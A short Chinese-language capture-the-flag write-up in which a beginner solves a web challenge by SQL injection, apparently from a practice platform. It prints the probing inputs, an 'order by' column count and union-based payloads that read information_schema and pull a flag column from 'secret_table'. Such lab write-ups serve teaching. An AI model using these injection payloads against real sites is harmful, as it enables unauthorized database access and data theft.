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作为萌新，找了页面，源代码，开发者工具，就是没想到是sql注入（之前做的题题目会写是注入）
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输入1和1#页面可以显示，如果输入1'会出现白屏

证明是sql注入，并且白屏表示不存在

输入3会有显示，4就会白屏，说明有3列数据

1' order by 3#

接下来就可以查看数据库了 



然后查表，有两个，依次查

 

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

在secret_table中看到有类似flag的字样



最后就可以查出数据

-1' union select 1,2,group_concat(fl4g) from secret_table#
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